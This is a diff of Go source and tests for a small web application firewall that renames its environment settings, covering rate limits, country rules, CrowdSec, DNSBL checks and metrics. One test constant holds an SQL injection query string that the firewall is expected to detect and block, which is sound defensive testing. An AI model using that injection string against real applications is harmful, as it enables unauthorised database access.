// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
|
||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
|
||||
@@ -19,13 +19,13 @@ import (
|
||||
|
||||
// The byte limit settings.
|
||||
const (
|
||||
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_WAF_BYTES_COUNT"
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
)
|
||||
|
||||
// The values of SWW_WAF_BYTES_COUNT.
|
||||
// The values of SWW_BYTES_COUNT.
|
||||
const (
|
||||
countResponse = "response"
|
||||
countRequest = "request"
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// byteLimit is the byte limit these tests set, as a setting: a request
|
||||
// with a body and its answer, 100 bytes, go over it.
|
||||
byteLimit = "99"
|
||||
// minuteBytes is limit_hit for SWW_WAF_BYTES_LIMIT_PER_MINUTE.
|
||||
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
|
||||
minuteBytes = "minute_bytes"
|
||||
)
|
||||
|
||||
@@ -227,8 +227,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
|
||||
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
|
||||
|
||||
// clientGroup is the client a request is counted toward: its IPv4
|
||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
||||
// length SWW_WAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
||||
addr = addr.Unmap()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
||||
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -14,13 +14,13 @@ import (
|
||||
)
|
||||
|
||||
// coreRuleSet inspects the request with the Core Rule Set, unless
|
||||
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
||||
// its score in the log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
|
||||
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
||||
// refuses the request with 403, which is an offence its client's history
|
||||
// counts. Its figures are the score and the threshold.
|
||||
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
|
||||
// pathExempt decides, and notes the rules it matched and its score in the
|
||||
// log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
|
||||
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
|
||||
// which is an offence its client's history counts. Its figures are the score
|
||||
// and the threshold.
|
||||
type coreRuleSet struct{}
|
||||
|
||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||
@@ -67,10 +67,10 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
}
|
||||
|
||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||
// which the Core Rule Set scored at result, at or over
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
|
||||
// score, the method and the path with the query, and, for a request that is
|
||||
// not refused for it, the mode: detect, or observe in observe mode.
|
||||
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
|
||||
// detail gives the rule ids, the score, the method and the path with the
|
||||
// query, and, for a request that is not refused for it, the mode: detect,
|
||||
// or observe in observe mode.
|
||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
detail := map[string]any{
|
||||
"rule_ids": result.RuleIDs,
|
||||
@@ -94,8 +94,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -14,13 +14,13 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
||||
// its two modes that inspect requests.
|
||||
const (
|
||||
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||
block = "block"
|
||||
detect = "detect"
|
||||
)
|
||||
@@ -28,7 +28,7 @@ const (
|
||||
// formData is the type of a form's body.
|
||||
const formData = "application/x-www-form-urlencoded"
|
||||
|
||||
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||
// setting.
|
||||
const (
|
||||
sizeLimit = 1 << 10
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
|
||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||
// SWW_WAF_ANOMALY_THRESHOLD.
|
||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||
|
||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||
@@ -177,7 +177,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
wafMode: block,
|
||||
@@ -186,7 +186,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
||||
// exempts, are not inspected.
|
||||
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
@@ -205,7 +205,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
|
||||
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
||||
// With SWW_WAF_MODE off, no request is.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
@@ -522,9 +522,8 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
Host: appHost,
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
|
||||
if queue.Suppressed() != 1 {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic countries. It reads SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// countries refuses a request when SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
||||
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
||||
// does not hold the client's country as it was looked up. A client without a
|
||||
// country, or whose country cannot be found, is refused. Its figures are the
|
||||
// country and the setting that refused it.
|
||||
@@ -29,7 +29,7 @@ func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
return &verdict{
|
||||
action: requestlog.ActionCountryDenied,
|
||||
figures: map[string]any{
|
||||
"country": country, "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func TestCountryLists(t *testing.T) {
|
||||
[]string{fromKP, unplaced},
|
||||
},
|
||||
{
|
||||
"with a country in SWW_WAF_TAG_DENY",
|
||||
"with a country in SWW_TAG_DENY",
|
||||
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
|
||||
[]string{fromKP, unplaced},
|
||||
},
|
||||
@@ -100,11 +100,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||
wantHeuristic(t, line, "countries",
|
||||
`{"country": "KP", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||
|
||||
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||
wantHeuristic(t, line, "countries",
|
||||
`{"country": "", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||
}
|
||||
|
||||
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
||||
@@ -262,11 +262,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
||||
action string
|
||||
}{
|
||||
{
|
||||
"not in SWW_WAF_ALLOW_NETS", "",
|
||||
"not in SWW_ALLOW_NETS", "",
|
||||
http.StatusForbidden, requestlog.ActionCountryDenied,
|
||||
},
|
||||
{
|
||||
"in SWW_WAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
|
||||
"in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
|
||||
http.StatusOK, requestlog.ActionForward,
|
||||
},
|
||||
} {
|
||||
@@ -296,7 +296,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
||||
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
||||
// each in an AS of its own, and no other address. It returns its URL, and
|
||||
// what returns the addresses it has been asked about. A test that needs
|
||||
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
|
||||
// the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
|
||||
// hour, whether or not a request waits for the answer: on the default, a
|
||||
// hold-up of the test process can abandon the request to the stand-in, and
|
||||
// leave the client unknown.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
|
||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
|
||||
@@ -18,8 +18,8 @@ import (
|
||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
||||
// needs, as reputation.json would at start.
|
||||
const (
|
||||
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
|
||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||
lapi = "http://crowdsec.example:8080"
|
||||
decisionsURL = lapi + "/v1/decisions"
|
||||
bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic deny_nets. It reads SWW_WAF_DENY_NETS.
|
||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// denyNets refuses a client in SWW_WAF_DENY_NETS. Its figure is the netblock of
|
||||
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
|
||||
// the setting the client is in.
|
||||
type denyNets struct{}
|
||||
|
||||
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// headers and body.
|
||||
DispositionDeny = "deny"
|
||||
// DispositionClose tells rproxy to close the visitor's connection
|
||||
// without an answer, which SWW_WAF_BAN_RESPONSE asks for when it is close.
|
||||
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
||||
// discriminator closing the question's connection instead would read as
|
||||
// discriminator being down, and rproxy would then let the request through.
|
||||
DispositionClose = "close"
|
||||
@@ -302,7 +302,7 @@ func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
|
||||
}
|
||||
|
||||
// allow answers a question with DispositionAllow and, while
|
||||
// SWW_WAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
|
||||
// SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
|
||||
func (rq *request) allow() {
|
||||
rq.allowed = true
|
||||
|
||||
@@ -328,7 +328,7 @@ func (rq *request) deny(r refusal) {
|
||||
rq.refused = &r
|
||||
|
||||
if r.status == 0 {
|
||||
// SWW_WAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
|
||||
// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
|
||||
// status stays 0: the visitor is sent nothing.
|
||||
rq.out.Header().Set(DispositionHeader, DispositionClose)
|
||||
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
|
||||
|
||||
@@ -39,7 +39,7 @@ const (
|
||||
// reportBodyLimit is the longest body SPEC.md lets a report have.
|
||||
reportBodyLimit = 1 << 20
|
||||
// anomalyClientPerMinute is the anomaly threshold these tests set.
|
||||
anomalyClientPerMinute = "SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
|
||||
anomalyClientPerMinute = "SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
|
||||
)
|
||||
|
||||
// The fields of a report, as "discriminator" in SPEC.md names them.
|
||||
@@ -181,7 +181,7 @@ func (s *Discriminator) history() ratelimit.History {
|
||||
}
|
||||
|
||||
// metrics returns what the metrics endpoint answers, for a server started with
|
||||
// the token as SWW_WAF_METRICS_TOKEN.
|
||||
// the token as SWW_METRICS_TOKEN.
|
||||
func (s *Discriminator) metrics() string {
|
||||
s.t.Helper()
|
||||
|
||||
@@ -1486,7 +1486,7 @@ func TestALargeBodyAnnouncedAndLongHeadersAreNoReasonToRefuse(t *testing.T) {
|
||||
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{"SWW_WAF_LOG_LEVEL": "error"})
|
||||
s := startDiscriminator(t, "", map[string]string{"SWW_LOG_LEVEL": "error"})
|
||||
|
||||
// A refused question would write a process warning, held back at error.
|
||||
req := s.question(siteA, client, "/")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// verdicts through the DNSBL checker.
|
||||
|
||||
import (
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
|
||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
|
||||
// the request when SWW_REPUTATION_ACTION is deny. Being
|
||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||
// being log, it does nothing more. A zone without a verdict on the client is
|
||||
// asked about it in the background, and the request does not wait for the
|
||||
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
)
|
||||
|
||||
// The lists of heuristics, each in the order its heuristics run. A client in
|
||||
// SWW_WAF_ALLOW_NETS skips them all.
|
||||
// SWW_ALLOW_NETS skips them all.
|
||||
|
||||
// beforeLookup are the heuristics that run before the client's AS number and
|
||||
// country are looked up, so that a client they refuse is not looked up.
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
)
|
||||
|
||||
// The headers in which an answer of allow gives rproxy the client's AS number
|
||||
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is set. Go writes
|
||||
// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
|
||||
// every header name in this form, as it sends it and as it receives it, so
|
||||
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
|
||||
const (
|
||||
@@ -23,7 +23,7 @@ const (
|
||||
// lookUp looks up the client's AS number and country, in the lookup
|
||||
// database or through GeoJS, and notes them for the log line and as the
|
||||
// request's asn= and country= tags, unless
|
||||
// SWW_WAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
|
||||
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
|
||||
// link-local address, which no lookup can place. The lookup database
|
||||
// answers at once. With GeoJS, while a setting needs the answer, such as a
|
||||
// country list or a biased threshold, a new client's request waits for it,
|
||||
|
||||
@@ -20,7 +20,7 @@ import (
|
||||
// and country.
|
||||
type asnAndCountry struct{ asn, asName, country string }
|
||||
|
||||
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
|
||||
// lookup database.
|
||||
const fileSource = "file"
|
||||
|
||||
|
||||
@@ -17,9 +17,9 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
||||
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
|
||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_METRICS_TOP_N"
|
||||
// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
|
||||
// request carries it.
|
||||
token = "0123456789abcdef0123456789abcdef"
|
||||
bearer = "Bearer " + token
|
||||
@@ -113,7 +113,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
|
||||
func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
metricsToken: token,
|
||||
@@ -124,7 +124,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
maxBanDuration: "2h",
|
||||
})
|
||||
|
||||
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
|
||||
// SWW_BAN_RESPONSE=close sends no status at all.
|
||||
s.get(denied, 0, requestlog.ActionClientDenied)
|
||||
|
||||
// A first broken limit bans for an hour.
|
||||
@@ -145,7 +145,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
||||
|
||||
// A limit broken again right after would ban for three hours, longer
|
||||
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
|
||||
// than SWW_MAX_BAN_DURATION, so the ban is permanent.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
@@ -327,13 +327,13 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
// GeoJS fails, so the client has no country= tag, and SWW_WAF_TAG_DENY does
|
||||
// GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
|
||||
// not refuse it.
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(forwardedFor, fromDE)
|
||||
wantStatus(t, do(t, req), http.StatusOK)
|
||||
|
||||
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
|
||||
// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
|
||||
// GeoJS's failure can come after its request has ended.
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
metrics := scrape(t, server.Addr)
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// observe is the value of SWW_WAF_MODE for observe mode.
|
||||
// observe is the value of SWW_MODE for observe mode.
|
||||
const observe = "observe"
|
||||
|
||||
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
|
||||
@@ -118,12 +118,12 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
banned = otherClient // under a ban read from bans.json
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_WAF_MODE at its default
|
||||
setting string // "" leaves SWW_MODE at its default
|
||||
observe bool
|
||||
}{
|
||||
{"", false},
|
||||
|
||||
@@ -34,15 +34,15 @@ const ownEndpointPrefix = "/_sww/"
|
||||
const HealthPath = "/_sww/healthz"
|
||||
|
||||
// MetricsPath is where the metrics are, for a request that carries
|
||||
// SWW_WAF_METRICS_TOKEN.
|
||||
// SWW_METRICS_TOKEN.
|
||||
const MetricsPath = "/_sww/metrics"
|
||||
|
||||
// BansPath is where an admin lists and adds bans, and, followed by / and
|
||||
// a client's address, lifts them, with SWW_WAF_ADMIN_TOKEN.
|
||||
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
||||
const BansPath = "/_sww/bans"
|
||||
|
||||
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
||||
// the client's address after it, with SWW_WAF_ADMIN_TOKEN.
|
||||
// the client's address after it, with SWW_ADMIN_TOKEN.
|
||||
const ClientsPath = "/_sww/clients/"
|
||||
|
||||
// Params are what New needs.
|
||||
@@ -55,16 +55,16 @@ type Params struct {
|
||||
// ProcessLog receives the process's own messages.
|
||||
ProcessLog *slog.Logger
|
||||
// GeoJSURL is where clients' AS numbers and countries are looked up
|
||||
// while SWW_WAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
||||
// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
||||
GeoJSURL string
|
||||
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
|
||||
// SWW_WAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
||||
// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
||||
AbuseIPDBURL string
|
||||
// LookupFile is the lookup database they are looked up in while
|
||||
// SWW_WAF_LOOKUP_SOURCE is file, and nil otherwise.
|
||||
// SWW_LOOKUP_SOURCE is file, and nil otherwise.
|
||||
LookupFile *lookup.File
|
||||
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
|
||||
// while SWW_WAF_CORE_RULE_SET_MODE is not off, and nil while it is.
|
||||
// while SWW_WAF_MODE is not off, and nil while it is.
|
||||
CoreRuleSet *coreruleset.CoreRuleSet
|
||||
// Now tells the time by which requests are counted for the rate
|
||||
// limits, bans are made and run out, and GeoJS's answers are kept,
|
||||
@@ -77,17 +77,17 @@ type Params struct {
|
||||
// permanent, for each count over an anomaly threshold, for each request
|
||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
||||
// or the day's AbuseIPDB checks used up.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// Server is the server discriminator runs, with the parts whose state the state
|
||||
// files keep, the lookup database, nil unless SWW_WAF_LOOKUP_SOURCE is file, the
|
||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||
// SWW_WAF_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||
type Server struct {
|
||||
*http.Server
|
||||
|
||||
@@ -185,7 +185,7 @@ func newHandler(params Params) *handler {
|
||||
// newReputation returns the lists fetched from URLs, the DNSBL zones'
|
||||
// verdicts and AbuseIPDB's scores, as the settings in params name them,
|
||||
// with none fetched, asked for or checked yet, and adds their metrics to
|
||||
// m, AbuseIPDB's while SWW_WAF_ABUSEIPDB_KEY is set.
|
||||
// m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
|
||||
func newReputation(
|
||||
params Params, m *metrics.Metrics,
|
||||
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
|
||||
@@ -218,11 +218,11 @@ func newReputation(
|
||||
return lists, dnsbl, abuseIPDB
|
||||
}
|
||||
|
||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
||||
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
||||
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
|
||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_CORE_RULE_SET_MODE is
|
||||
// off. It reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||
